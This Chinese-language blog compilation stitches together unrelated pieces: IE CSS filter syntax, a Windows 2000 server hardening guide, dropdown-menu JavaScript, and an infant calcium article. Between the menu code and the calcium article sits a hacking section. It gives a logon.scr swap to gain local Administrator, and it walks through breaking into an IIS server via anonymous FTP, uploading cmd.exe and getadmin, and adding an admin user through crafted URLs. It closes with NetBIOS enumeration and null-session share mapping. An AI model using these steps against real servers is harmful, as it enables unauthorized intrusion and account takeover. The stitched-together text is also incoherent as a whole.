现在非常多的朋友搞个人网页,而且做的五彩缤纷,各有特色,但是比较多的朋友把大大的一幅图象放在页面上,致使页面下载很慢,加上用GIF格式做动画,尽管用GIF格式搞的动画比较苗条,但是也不大合算。能否不用特别做的图象,不用GIF格式做动画,可以把页面搞的生气活现呢?可以,用IE本身内含的STYLE这个重量级的命令属性中的RevealTrans和滤镜来试试!
Style属性:
可以应用在标签中,更可用广泛应用在<table><tr><td><body><center><img><input><font><form><frame><label><map>等等标签中,更重要的是,它可用在标签中。
页面切换效果:
在页面前部与之间加入""
说明:duration为页面切换的时间长度,3.000表示3秒钟,一般可以直接输入3便可;transition为切换效果,从1-23共22种不同的切换效果,其中23为随机效果。
滤镜效果:
Photoshop的滤镜用的多了吧,在页面中也用滤镜搞搞新意思吧!
语法:STYLE="filter:filtername(fparameter1,fparameter2…)}(Filtername为滤镜的名称,fparameter1、fparameter2等是滤镜的参数)
滤镜说明:
Alpha:设置透明层次.
blur:创建高速度移动效果,即模糊效果.
Chroma:制作专用颜色透明.
DropShadow:创建对象的固定影子.
FlipH:创建水平镜像图片.
FlipV:创建垂直镜像图片.
glow:加光辉在附近对象的边外.
gray:把图片灰度化.
invert:反色.
light:创建光源在对象上.
mask:创建透明掩膜在对象上.
shadow:创建偏移固定影子.
wave:波纹效果.
Xray:使对象变的像被x光照射一样.
1.滤镜:alpha
语法:
STYLE="filter:Alpha(Opacity=opacity,FinishOpacity=finishopacity,Style=style,
StartX=startX,StartY=startY,FinishX=finishX,FinishY=finishY)"
说明:
Opacity:起始值,取值为0-100,0为透明,100为原图.
FinishOpacity:目标值.
Style:1或2或3
StartX:任意值
StartY:任意值
例子:filter:Alpha(Opacity="0",FinishOpacity="40",Style="2")
2.滤镜:blur
语法:
STYLE="filter:Blur(Add=add,Direction=direction,Strength=strength)"
说明:
Add:一般为1,或0.
Direction:角度,0-315度,步长为45度.
Strength:效果增长的数值,一般5即可.
例子:filter:Blur(Add="1",Direction="45",Strength="5")
3.滤镜:chroma
语法:
STYLE="filter:Chroma(Color=color)"
说明:
color:#rrggbb格式,任意.
例子:filter:Chroma(Color="#FFFFFF")
4.滤镜:DropShadow
语法:
STYLE="filter:DropShadow(Color=color,OffX=offX,OffY=offY,Positive=positive)"
说明:
Color:#rrggbb格式,任意.
Offx:X轴偏离值.
Offy:Y轴偏离值.
Positive:1或0.
例子:filter:DropShadow(Color="#6699CC",OffX="5",OffY="5",Positive="1")
5.滤镜:FlipH
语法:
STYLE="filter:FlipH"
例子:filter:FlipH
6.滤镜:FlipV
语法:
STYLE="filter:FlipV"
例子:filter:FlipV
7.滤镜:Glow
语法:
STYLE="filter:Glow(Color=color,Strength=strength)"
说明:
Color:发光颜色.
Strength:强度(0-100)
例子:filter:Glow(Color="#6699CC",Strength="5")
8滤镜:Gray
语法:
STYLE="filter:Gray"
例子:filter:Gray
9.滤镜:Invert
语法:
STYLE="filter:Invert"
例子:filter:Invert
10.滤镜:Mask
语法:
STYLE="filter:Mask(Color=color)"
例子:filter:Mask(Color="#FFFFE0")
11.滤镜:Shadow
语法:
filter:Shadow(Color=color,Direction=direction)
说明:
Color:#rrggbb格式.
Direction:角度,0-315度,步长为45度.
例子:filter:Shadow(Color="#6699CC",Direction="135")
12.滤镜:Wave
语法:
filter:Wave(Add=add,Freq=freq,LightStrength=strength,Phase=phase,Strength=strength)
说明:
Add:一般为1,或0.
Freq:变形值.
LightStrength:变形百分比.
Phase:角度变形百分比.
Strength:变形强度.
例子:filter:wave(Add="0",Phase="4",Freq="5",LightStrength="5",Strength="2")
13.滤镜:Xray
语法:
STYLE="filter:Xray"
例子:filter:Xray
滤镜-JAVASCRIPT-CSS-Style
安全配置Windows2000服务器
一、版本的选择
笔者强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要
知道,微软的产品是以“漏洞加补丁(Bug & Patch)”而著称的,中文版
的Bug远远多于英文版,而补丁一般还会迟至少半个月(也就是说一般微软
公布了漏洞后你的服务器还会有半个月处于无保护状态)。
二、组件的定制
WIN2K在默认情况下会安装一些常用的组件,但是正是这个默认安装是
非常危险的,根据安全原则“最少的服务+最小的权限=最大的安全”,只
安装确实需要的服务即可。这里特别提醒注意的是:“Indexing Service”、
“FrontPage 2000 Server Extensions”、“Internet Service Manager”
这几个危险服务。
三、管理应用程序的选择
选择一个好的远程管理软件是非常重要的事,这不仅仅是安全方面的
要求,也是应用方面的需要。WIN2K的Terminal Service是基于RDP(远程
桌面协议)的远程控制软件,它的速度快,操作方便,比较适合用来进行
常规操作。但是,Terminal Service也有其不足之处,由于它使用的是虚
拟桌面,再加上微软编程的不严谨,当你使用Terminal Service进行安装
软件或重启服务器等与真实桌面交互的操作时,往往会出现哭笑不得的现
象,例如:使用Terminal Service重启微软的认证服务器(Compaq, IBM等)
可能会直接关机。所以,为了安全起见,建议再配备一个远程控制软
件作为辅助,和Terminal Service互补,如PcAnyWhere就是一个不错的选
择。
四、分区和逻辑盘的分配
至少建立两个分区,一个系统分区,一个应用程序分区。这是因为,
微软的IIS(Internet Ihformation Server)经常会有漏洞,如果把系统
和IIS放在同一个驱动器会导致系统文件的泄漏,甚至让入侵者远程获取管
理权。
推荐建立三个逻辑驱动器,第一个用来装系统和重要的日志文件;第
二个放IIS;第三个放FTP,这样无论IIS或FTP出了安全漏洞都不会直接影
响到系统目录和系统文件。
五、安装顺序的选择
不要觉得只要能装上系统,就算完事了,其实WIN2K的安装顺序是非常
重要的。
首先,要注意接入网络的时间。WIN2K在安装时有一个漏洞,就是在输
入Administrator的密码后,系统会建立“$ADMIN”的共享,但是并没有用
刚输入的密码来保护它,这种情况一直会持续到计算机再次启动。在此期
间,任何人都可以通过“$ADMIN”进入系统;同时,只要安装一完成,各
种服务就会自动运行,而这时的服务器还到处是漏洞,非常容易从外部侵
入。因此,在完全安装并配置好WIN2K Server之前,一定不要把主机接入
网络。
其次,注意补丁的安装。补丁应该在所有应用程序安装完之后再安装,
因为补丁程序往往要替换或修改某些系统文件,如果先安装补丁的话可能
无法起到应有的效果。
怎么设
即使正确地安装了WIN2K Server,系统也有很多漏洞,还需要进一步
进行细致的配置。
一、端口
端口是计算机和外部网络相连的逻辑接口,也是计算机的第一道屏障,
端口配置正确与否直接影响到主机的安全。
二、IIS
IIS是微软的组件中问题最多的一个,平均两三个月就要出一个漏洞,
而微软的IIS默认安装又实在不敢恭维,所以IIS的配置是我们的重点。
首先,删除C盘下的Inetpub目录,在D盘建一个Inetpub,在IIS管理器
中将主目录指向D:\Inetpub。
其次,把IIS安装时默认的scripts等虚拟目录也一概删除,如果你需
要什么权限的目录可以以后再建(特别注意写权限和执行程序的权限)。
然后是应用程序的配置。在IIS管理器中把无用映射都统统删除(当然
必须保留如ASP、ASA等)。在IIS管理器中“主机→属性→WWW服务编辑→
主目录配置→应用程序映射”,然后开始一个个删吧。接着再在应用程序
调试书签内,将“脚本错误消息”改为“发送文本”。点击“确定”退出
时别忘了让虚拟站点继承刚才设定好的属性。
最后,为了保险起见,可以使用IIS的备份功能,将刚刚的设定全部备
份下来,这样就可以随时恢复IIS的安全配置。还有,如果怕IIS负荷过高
导致服务器死机,也可以在性能中打开CPU限制,如将IIS的最大CPU使用率
限制在70%。
三、账号安全
首先,WIN2K的默认安装允许任何用户通过空用户得到系统所有账号和
共享列表,这本来是为了方便局域网用户共享资源和文件的,但是,同时
任何一个远程用户也可以通过同样的方法得到你的用户列表,并可能使用
暴力法破解用户密码给整个网络带来破坏。很多人都只知道更改注册表Local
_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous
= 1来禁止空用户连接,实际上WIN2K的本地安全策略里(如果是域服务器
就是在域服务器安全和域安全策略里)就有这样的选项RestrictAnonymous
(匿名连接的额外限制),其中有三个值:
“0”:None,Rely on default permissions(无,取决于默认的权
限)
“1”:Do not allow enumeration of SAM accounts and shares
(不允许枚举SAM账号和共享)
“2”:No access without explicit anonymous permissions(没有
显式匿名权限就不允许访问)
“0”这个值是系统默认的,没有任何限制,远程用户可以知道你机器
上所有的账号、组信息、共享目录、网络传输列表(NetServerTransportEnum)
等,对服务器来说这样的设置非常危险。“1”这个值是只允许非NULL用户
存取SAM账号信息和共享信息。“2”这个值只有WIN2K才支持,需要注意的
是,如果使用了这个值,就不能再共享资源了,所以还是推荐把数值设为
“1”比较好。
四、安全日志
这里需要注意:WIN2K的默认安装是不开任何安全审核的!那么就应该
到“本地安全策略→审核策略”中打开相应的审核,这里需要说明的是,
审核项目如果太少的话,你万一想查看的时候发现没有记录那就一点办法
都没有,但是审核项目如果太多,不仅会占用大量的系统资源,而且你也
可能根本没空去全部看完,这样就失去了审核的意义。推荐的审核如下:
“账户管理”、“登录事件”、“策略更改”、“系统事件”、“账
户登录事件”需要把“成功”和“失败”都打开;“对象访问”、“特权
使用”、“目录服务访问”就只打开“失败”。
与之相关的还有,在“账户策略→密码策略”中设定:“密码复杂性
要求启用”,“密码长度最小值6位”,“强制密码历史5次”,“最长存
留期30天”;在“账户策略→账户锁定策略”中设定:“账户锁定3次错误
登录”,“锁定时间20分钟”,“复位锁定计数20分钟”等。
Terminal Service的安全日志默认也是不启用的,可以在“Terminal
Service Configration(远程
服务配置)→权限→高级”中配置安全审核,
一般来说只要记录登录、注销事件就可以了。
五、目录和文件权限
为了控制好服务器上用户的权限,同时也为了预防以后可能的入侵和
溢出,还必须非常小心地设置目录和文件的访问权限。NT的访问权限分为
:读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下,
大多数的文件夹对所有用户(Everyone这个组)是完全敞开的(Full Control),
你需要根据应用的需要进行权限重设。在进行权限控制时,请记住以下几
个原则:
1.权限是累计的,如果一个用户同时属于两个组,那么他就有了这两
个组所允许的所有权限。
2.拒绝的权限要比允许的权限高(拒绝策略会先执行)。如果一个用
户属于一个被拒绝访问某个资源的组,那么不管其他的权限设置给他开放
了多少权限,他也一定不能访问这个资源。
3.文件权限比文件夹权限高。
4.利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优
良习惯。
5.只给用户真正需要的权限,权限的最小化原则是安全的重要保障。
6.预防ICMP攻击:ICMP的风暴攻击和碎片攻击也是NT主机比较头疼的
攻击方法,其实应付的方法也很简单,WIN2K自带一个Routing & Remote
Access工具,这个工具初具路由器的雏形。在这个工具中,我们可以轻易
地定义输入输出包过滤器。如设定输入ICMP代码255丢弃就表示丢弃所有
的外来ICMP报文。
要注意
实际上,安全和应用在很多时候是矛盾的,因此,你需要在其中找到
平衡点,毕竟服务器是给用户用的,如果安全原则妨碍了系统应用,那么
这个安全原则也不是一个好的原则。
网络安全是一项系统工程,它不仅有空间的跨度,还有时间的跨度。
很多朋友(包括部分系统管理员)认为进行了安全配置的主机就是安
全的,其实这里有个误区,我们只能说一台主机在一定的情况下一定的时
间内是安全的,随着网络结构的变化、新的漏洞的发现、管理员和用户的
操作,主机的安全状况是随时随地变化着的,只有让安全意识和安全制度
贯穿整个过程才能做到真正的安全。
XP风格的下拉菜单–网页菜单
偶然在网上看到
以下是本下拉菜单的源代码:
<script>
var menuwidth=117;
var menutop=20;
var menuspac=3;
var menuleft=10;
var menutitlewidth=80;
var menubackground='eaeaea';
var menuborder3='08246b';
var menuborder1='000000';
var menuborder2='646464';
var menuselectcolor='AEACD1';
var menu=new Array('盈嘉简介','项目介绍','技术展示','行业动态','盈嘉新闻','合作加盟','招贤纳士');
var menudata=new Array();
var menulist=new Array();
menulist[0]=new Array('dl.gif','公司','aaa();','dl.gif','公司','bb.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
menulist[1]=new Array('dl.gif','剪切(I)','a.htm',0,'复制(C)','a.htm','dl.gif','粘贴(P)','a.htm','dl.gif','删除(L)','a.htm',0,'<hr>',0,'dl.gif','全选(A)','a.htm',0,'<hr>',0,'dl.gif','查找(F)','a.htm','dl.gif','编辑(E)','a.htm');
menulist[2]=new Array('dl.gif','分割符(B)','a.htm',0,'表格(A)',0,0,'图片(P)',1,'dl.gif','文本框(X)',2,0,'<hr>',0,'dl.gif','文件(L)','a.htm','dl.gif','对象(O)','aa.htm','dl.gif','书签(K)','a.htm','dl.gif','超级链接(I)','a.htm',0,'<hr>',0,'dl.gif','数字','a.htm','dl.gif','索引目录','a.htm',0,'<hr>',0,'dl.gif','符号','a.htm');
menulist[3]=new Array('dl.gif','公司','aaa();','dl.gif','公司','bb.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
menulist[4]=new Array('dl.gif','公司','aaa();','dl.gif','公司','bb.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
menulist[5]=new Array('dl.gif','公司','aaa();','dl.gif','公司','bb.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
menulist[6]=new Array('dl.gif','公司','aaa();','dl.gif','公司','bb.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
var menulist1=new Array();
menulist1[0]=new Array('dl.gif','公司11111',0,'dl.gif','公司',1,'dl.gif','公司',2);
menulist1[1]=new Array('dl.gif','公司','a.htm','dl.gif','公司','a.htm',0,'<hr>',0,'dl.gif','公司','a.htm','dl.gif','公司','a.htm',0,'<hr>',0,'dl.gif','公司','a.htm');
menulist1[2]=new Array('dl.gif','公司','a.htm','dl.gif','公司','a.htm');
var menulist2=new Array();
menulist2[0]=new Array('dl.gif','公司22222','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm');
menulist2[1]=new Array('dl.gif','公司','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm');
menulist2[2]=new Array('dl.gif','公司','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm','dl.gif','公司','a.htm');
//menuwidth,menutop,menuleft,menutitle,menutitlewidth,menunum,menubackground,menuborder3,menuselectcolor
//pic,title,url
var menuhtml=
'<style>' +
'td {font:12.6px "宋体";}' +
'.menua{height:15px; cursor:hand; border:1 double #' + menuborder1 + ';}' +
'.menub{height:15px; cursor:hand; border:1 double #' + menuborder1 + '; background:' + menuselectcolor + ';}' +
'.menuimg{background:' + menubackground + '}' +
'</style>' +
'<table width="' + (menutitlewidth+menuspac*2+1)*menu.length + '" cellspacing="' + menuspac + '" cellpadding="0" style="position:absolute; top:' +menutop + 'px; left:' + menuleft + 'px; border:none;" onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">' +
' <tr>';
for(i=0;i<menu.length;i++) {
var menuarray=menu[i].split('(');
if (menuarray[1]!=null) {
menuarray[1]=menuarray[1].split(')');
menutext=menuarray[0] + '(<u>' + menuarray[1][0] + '</u>)';
} else menutext=menuarray[0];
menuhtml+=
' <td class=menua onMouseOut="this.className=\'menua\';" onMouseOver="this.className=\'menub\';" onclick="menushow(' + menuwidth + ',' + (menutop+menuspac) + ',' + (menuleft+((menutitlewidth+6)*i)+menuspac) + ',\'' + menutext + '\',this.offsetWidth,' + i + ',\'' + menubackground + '\',\'' + menuborder2 + '\',\'' + menuselectcolor + '\');" style="width:' + menutitlewidth + 'pt; cursor:hand; text-align:center">' + menutext + '</td>';
}
menuhtml+=
' </tr>' +
'</table>' +
'<div id="menu" style="position:absolute; visibility:hidden; z-index:1000"></div>' +
'<div id="menu1" style="position:absolute; visibility:hidden; z-index:1001"></div>' +
'<div id="menu2" style="position:absolute; visibility:hidden; z-index:1002"></div>' +
'<div id="menu3" style="position:absolute; visibility:hidden; z-index:1003"></div>' +
'<div id="menu4" style="position:absolute; visibility:hidden; z-index:1004"></div>' +
'<div id="menu5" style="position:absolute; visibility:hidden; z-index:1005"></div>' +
'<div id="menu6" style="position:absolute; visibility:hidden; z-index:1006"></div>';
document.write(menuhtml);
function menushow(menuwidth,menutop,menuleft,menutitle,menutitlewidth,menunum,menubackground,menuborder2,menuselectcolor){
if (document.all.menu.style.visibility=='hidden' && menutitle!=null) {
document.all.menu.innerHTML=
'<table width="' + menuwidth + '" border="1" cellspacing="0" cellpadding="0" style="border:none;" onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">\n' +
' <tr onclick="menushow();">\n' +
' <td width="' + (menutitlewidth-2) + '" style="height:18px; border-left:1 double #' + menuborder2 + '; border-right:1 double #' + menuborder2 + '; border-top:1 double #' + menuborder2 + '; border-bottom:none; background:' + menubackground + '; text-align:center; cursor:hand">' + menutitle + '</td>\n' +
' <td width="' + (menuwidth-menutitlewidth+2) + '" style="border-left:none; border-right:none; border-top:none; border-bottom:1 double #' + menuborder2 + '"> </td>\n' +
' </tr>\n' +
' <tr>\n' +
' <td colspan="2" style="height:' + Math.round(menulist[menunum].length/3*18) + 'px; border:none">\n' +
'<iframe name=menutools frameborder="0" width="100%" height="100%" scrolling="no"></iframe>\n' +
' </td>\n' +
' </tr>\n' +
'</table>\n';
menushowlist(menuwidth,menutop,menuleft,menunum,menubackground,menuborder3,menuselectcolor);
document.all.menu.style.width=menuwidth;
document.all.menu.style.pixelTop=menutop;
document.all.menu.style.pixelLeft=menuleft;
document.all.menu.style.visibility='visible';
}else{
if (document.all["menu1"].style.visibility=='hidden') document.all.menu.style.visibility='hidden';
for(i=1;i<menulist.length;i++) document.all["menu"+i].style.visibility='hidden';
}
}
function menushowlist(menuwidth,menutop,menuleft,menunum,menubackground,menuborder3,menuselectcolor){
var menulisthtml=
'<style>\n' +
'td {font:12.6px "宋体";}\n' +
'.menua{word-wrap:break-word; cursor:hand; border:none; height:15px}\n' +
'.menub{word-wrap:break-word; cursor:hand; border:1 double #' + menuborder3 + '; height:15px; background:' + menuselectcolor + '; filter:alpha(opacity=50);}\n' +
'.menuc{word-wrap:break-word; cursor:hand; border:1 double #' + menuborder3 + '; height:15px; background:' + menuselectcolor + '; filter:alpha(opacity=80);}\n' +
'.menuimg{height:15px; background:' + menubackground + ';}\n' +
'</style>\n' +
'<body bgcolor=white text=black id=all topmargin="0" leftmargin="0" onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">\n' +
'<table width="' + menuwidth + '" height="100%" border="0" cellspacing="0" cellpadding="0" style="position:absolute; z-index:1;">\n';
for(i=0;i<menulist[menunum].length/3;i++) {
if (menulist[menunum][i*3]!=0) menuimg='<img src="' + menulist[menunum][i*3] + '" width="12" height="12">'; else menuimg='';
if (menulist[menunum][i*3+2]>=0) menudown='<font style="font:10px webdings">4</font>'; else menudown='';
if (menulist[menunum][i*3+1]=='<hr>') {menudown='<font style="font:10px">————————</font>';menuimg='';}
menulisthtml+=
' <tr><td class="menuimg" align="middle">' + menuimg + '</td><td width="' + (menuwidth-24) + '" align=right>' + menudown + ' </td></tr>\n';
}
menulisthtml+=
' </table>\n' +
' <table width="' + menuwidth + '" height="100%" border="0" cellpadding="0" style="border-left:1 solid #' + menuborder2 + '; border-right:1 solid #' + menuborder2 + '; border-top:none; border-bottom:1 solid #' + menuborder2 + '; table-layout:fixed; position:absolute; z-index:2">\n';
menulistleft=menuleft*1+menuwidth+2;
for(i=0;i<menulist[menunum].length/3;i++) {
menulisttop=menutop*1+(i+1)*17;
if (menulist[menunum][i*3+1]=='<hr>') menulisthtml+='<tr><td class="menua" style="cursor:default"> </td></tr>';
else {
var menuarray=menulist[menunum][i*3+1].split('(');
if (menuarray[0].length>menuwidth/10-3)
menutext=' title="' + menuarray[0] + '"> ' + menuarray[0].substring(0,menuwidth/10)+"…";
else
menutext='> ' + menuarray[0];
if (menuarray[1]!=null) {
menuarray[1]=menuarray[1].split(')');
menutext+='(<u>' + menuarray[1][0] + '</u>)';
}
menulisthtml+=
' <tr><td class="menua" onMouseOut="this.className=\'menua\';" onMouseOver="this.className=\'menub\';" onMouseDown="this.className=\'menuc\';" onclick="parent.';
if (menulist[menunum][i*3+2]>=0) {
menulisthtml+='menushowlisttable(1,' + menuwidth + ',\'' + menulisttop + '\',\'' + menulistleft + '\',' + menulist[menunum][i*3+2] + ',\'' + menubackground + '\',\'' + menuborder3 + '\',\'' + menuselectcolor + '\');';
}
else {
var menuclick=menulist[menunum][i*3+2].split('.');
if (menuclick[1]=='htm') menulisthtml+='openwin(\'' + menulist[menunum][i*3+2] + '\');';
else menulisthtml+=menulist[menunum][i*3+2];
}
menulisthtml+=
'" valign="bottom"' + menutext + '</td></tr>\n';
}
}
menulisthtml+=
' </table>';
menutools.document.write(menulisthtml);
}
function menushowlisttable(menunum,menuwidth,menutop,menuleft,menudatanum,menubackground,menuborder3,menuselectcolor){
if (menunum==1){menudata=menulist1[menudatanum]}
else if (menunum==2){menudata=menulist2[menudatanum]}
else return;
if (document.all["menu"+menunum].style.visibility=='hidden') {
document.all["menu"+menunum].innerHTML=
'<table width="' + menuwidth + '" border="1" cellspacing="0" cellpadding="0" style="border:none" onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">\n' +
' <tr>\n' +
' <td colspan="2" style="height:' + Math.round(menudata.length/3*18) + 'px; border:none">\n' +
'<iframe name="menutools'+ menunum +'" frameborder="0" width="100%" height="100%" scrolling="no"></iframe>\n' +
' </td>\n' +
' </tr>\n' +
'</table>\n';
menushowlistselect(menunum,menuwidth,menutop,menuleft,menudata,menubackground,menuborder3,menuselectcolor);
document.all["menu"+menunum].style.width=menuwidth;
document.all["menu"+menunum].style.pixelTop=menutop;
document.all["menu"+menunum].style.pixelLeft=menuleft;
document.all["menu"+menunum].style.visibility='visible';
}else{
if (document.all["menu"+menunum].style.visibility=='hidden') document.all["menu"+menunum].style.visibility='hidden';
for(i=menunum;i<menulist.length;i++) document.all["menu"+i].style.visibility='hidden';
}
}
function menushowlistselect(menunum,menuwidth,menutop,menuleft,menudata,menubackground,menuborder3,menuselectcolor){
var menulisthtml=
'<style>\n' +
'td {font:12.6px "宋体";}\n' +
'.menua{word-wrap:break-word; cursor:hand; border:none; height:15px}\n' +
'.menub{word-wrap:break-word; cursor:hand; border:1 double #' + menuborder3 + '; height:13px; background:' + menuselectcolor + '; filter:alpha(opacity=50);}\n' +
'.menuc{word-wrap:break-word; cursor:hand; border:1 double #' + menuborder3 + '; height:13px;
background:' + menuselectcolor + '; filter:alpha(opacity=80);}\n' +
'.menuimg{height:17px; background:' + menubackground + ';}\n' +
'</style>\n' +
'<body bgcolor=white text=black id=all topmargin="0" leftmargin="0" onSelectStart="event.returnValue=false;" onConTextMenu="event.returnValue=false">\n' +
'<table width="' + menuwidth + '" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-left:1 solid #' + menuborder2 + '; border-right:1 solid #' + menuborder2 + '; border-top:1 solid #' + menuborder2 + '; border-bottom:1 solid #' + menuborder2 + '; position:absolute; z-index:1;">\n';
for(i=0;i<menudata.length/3;i++) {
if (menudata[i*3]!=0) menuimg='<img src="' + menudata[i*3] + '" width="12" height="12">'; else menuimg='';
if (menudata[i*3+2]>=0) menudown='<font style="font:10px webdings">4</font>'; else menudown='';
if (menudata[i*3+1]=='<hr>') {menudown='<font style="font:10px">————————</font>';menuimg='';}
menulisthtml+=
' <tr><td class="menuimg" align="middle">' + menuimg + '</td><td width="' + (menuwidth-24) + '" align=right>' + menudown + ' </td></tr>\n';
}
menulisthtml+=
' </table>\n' +
' <table width="' + menuwidth + '" height="100%" border="0" cellpadding="0" style="border:none; table-layout:fixed; position:absolute; z-index:2">\n';
menulistleft=menuleft*1+menuwidth+2;
for(i=0;i<menudata.length/3;i++) {
menulisttop=menutop*1+i*17;
if (menudata[i*3+1]=='<hr>') menulisthtml+='<tr><td class="menua" style="cursor:default"> </td></tr>';
else {
var menuarray=menudata[i*3+1].split('(');
if (menuarray[0].length>menuwidth/10-3)
menutext=' title="' + menuarray[0] + '"> ' + menuarray[0].substring(0,menuwidth/10)+"…";
else
menutext='> ' + menuarray[0];
if (menuarray[1]!=null) {
menuarray[1]=menuarray[1].split(')');
menutext+='(<u>' + menuarray[1][0] + '</u>)';
}
menulisthtml+=
' <tr><td class="menua" onMouseOut="this.className=\'menua\';" onMouseOver="this.className=\'menub\';" onMouseDown="this.className=\'menuc\';" onclick="parent.';
if (menudata[i*3+2]>=0)
menulisthtml+='menushowlisttable(2,' + menuwidth + ',\'' + menulisttop + '\',\'' + menulistleft + '\',' + menudata[i*3+2] + ',\'' + menubackground + '\',\'' + menuborder3 + '\',\'' + menuselectcolor + '\');';
else {
var menuclick=menudata[i*3+2].split('.');
if (menuclick[1]=='htm') menulisthtml+='openwin(\'' + menudata[i*3+2] + '\');';
else menulisthtml+=menudata[i*3+2];
}
menulisthtml+=
'" valign="bottom"' + menutext + '</td></tr>\n';
}
}
menulisthtml+=
' </table>';
parent.frames["menutools"+menunum].document.write(menulisthtml);
}
function openwin(a){
Win=open(a,'_top');
}
function aaa(){
}
</script>
将以下代码保存为htm格式的文件,即可在浏览器(IE)中看到漂亮的菜单了!
提升管理员权限-administrator登录
如果你有普通用户帐号,有个一个很简单的方法获取NT Administrator帐号:
先把c:\winnt\system32下的logon.scr改名为logon.old备份
然后把usrmgr.exe改名为logon.scr
然后重新启动
logon.scr是启动时加载的程序,重新启动后,不会出现以往的登陆密码输入界面,而是用户管理器
这时他就有权限把自己加到Administrator组
不要忘记把文件名改回来啊!
之二:
下面的技术适用于不重视NT网络安全的网站,
一些 http的技术也可以供较高级的人员参考
进入NT网络可以采取下面的步骤:
因为NT的IIS server的ftp一般都是允许anonymous匿名帐号进入的,有些anonymous的帐号还有upload权限,我们就要攻击这类站点。因为如果不允许匿名帐号,就可能造成明文密码在网上传输。用tcpspy的工具可以截获这些密码。现在不谈这些比较高级的技术。
正因为允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT server,比如:www.xxx.com(示例名):
ftp www.xxx.com
Connected to www.xxx.com
ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSER_ntsvr2的用户帐号,属于Domain user组,这个帐号我们以后要用来获取Administrator的权限
User (www.xxx.com:(none)):anonymous
Password: 输入 guest@ 或者guest
对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain guest组
在这种情况下我们就可以进NT server的ftp了。
进去以后,看看目录列表,试试 cd /c 或wwwroot等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握。
现在,开始查找cgi-bin目录(或者scripts目录),进去以后,
把winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin
然后输入:http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_SATURN
大约十多秒后屏幕显示:
CGI Error
这时有90%的可能是:你已经把IUSER_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员
下面可以add user:
http://www.xxx.com/cgi-bin/cmd.exe?/c c:\winnt\system32\net.exe user china news /add
这样就创建了一个叫china用户,密码是news,然后:
http://www.xxx.com/cgi-bin/getadmin.exe?china
或者
http://www.xxx.com/scripts/tools/getadmin.exe?china
你再用china的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改如果没有cmd.exe,也可以自己传一个上去到scripts/tools或者cgi-bin目录
之三:
用NT的Netbios技术扫描
nbtstat -a http://www.xxx.com/
或者
nbtstat -A http://www.xxx.com/
这样可以得到其域的共享资源名称
net view file://www.xxx.com/
可以获得其机器的共享资源名称,如果有c盘
net use f: file://www.xxx.com/c
可以用f:映射其c盘
net use \\111.111.111.111\ipc$ "quot;"quot; /user:"quot;"quot;
之四: Unix下移植过来的工具:
Windows95"amp;98的用户可以用这个tcp/ip工具去抓tcp/ip连接中的包:
WinDump95.exe 使用前还要下载这个库 Packet95.exe
WindowsNT用户的版本
WinDump.exe PacketNT.exe
婴儿缺钙补钙大全–如何判定自家的孩子缺钙
时下,年轻的父母们通过相互学习和请教,已经具备基本的育儿常识。令他们困惑的是,如何判定自家的孩子缺钙?头发和血液两种检测方法哪种能真实反映人体的含钙水平?
近5个月的小瓤是一个人见人爱的女婴,近日妈妈发现她白天入睡开始困难起来,晚上也睡不踏实,尤其后脑部出现了“枕秃”。妈妈带她到哈尔滨一家区级疾控中心,工作人员剪了孩子一绺头发化验,结果显示孩子缺锌、缺钙;妈妈对检测结果将信将疑,又带孩子到一家医院,护士取了孩子的耳血做化验,并测了骨钙,结论是缺钙不缺锌。
小瓤妈妈到底该相信哪种结果?哈尔滨医科大学附属第二医院儿保专家马贤才说,检测发钙没有科学依据,结论不可信。比较可信的是检测耳朵、手指等末梢血的同时查骨钙,能够真实反映孩子的含钙水平。并综合孩子的病理特征比如多汗、烦躁、夜惊、枕秃等,才能做出准确判断。
关于婴儿补钙建议注意以下几点。
1、婴儿是特殊人群,无论是母乳喂养还是混合或人工喂养,奶类应是饮食的主体。0-5个月的婴儿每天对钙的摄取量为300毫克,只要每天饮母乳或配方奶600-800毫升,便可满足身体对钙的需要。
2、到了4-6月时,婴儿开始添加辅食,每天的喝奶量逐渐减少。而5-11个月的婴儿对钙的摄取量每天增至400毫克,因此,从这时起应开始补充钙剂。
3、1-3岁时,对钙的摄取量每天增至600毫克。可他们的饮食是从以奶类为主,逐渐过度到以谷类为主的。调查显示,我国1-3岁婴幼儿饮食中的钙仍达不到需要量。因此,每天还应为宝贝补钙150-300毫克,奶及奶制品也仍是饮食中不可缺少的成分。每天最好饮奶400毫升左右,同时注意安排奶制品、骨头汤、小虾皮、鱼类等富钙食物。
4、早产儿及双胞胎应在出生后1-2周开始补充VD,正常足月儿应在出生后2-4周开始补充。6个月以下婴儿每天补充400国际单位,6个月以上婴儿每天补充400-600国际单位。
5、补充VD和钙剂应持续到2岁至2岁半。幼儿在2岁半后户外活动增加,饮食种类逐渐多样化,这时就不需要补充VD和钙剂了。
6、多晒太阳是婴幼儿补钙的重要途径。因为,引起他们缺钙的主要原因是VD摄取不足,而VD在食物中含量很少,加之婴幼儿食谱单调,所以只能从食物中摄取到很少的VD。晒太阳可促使皮肤中的一种物质转化为VD,这种补充途径最安全,不会发生VD中毒
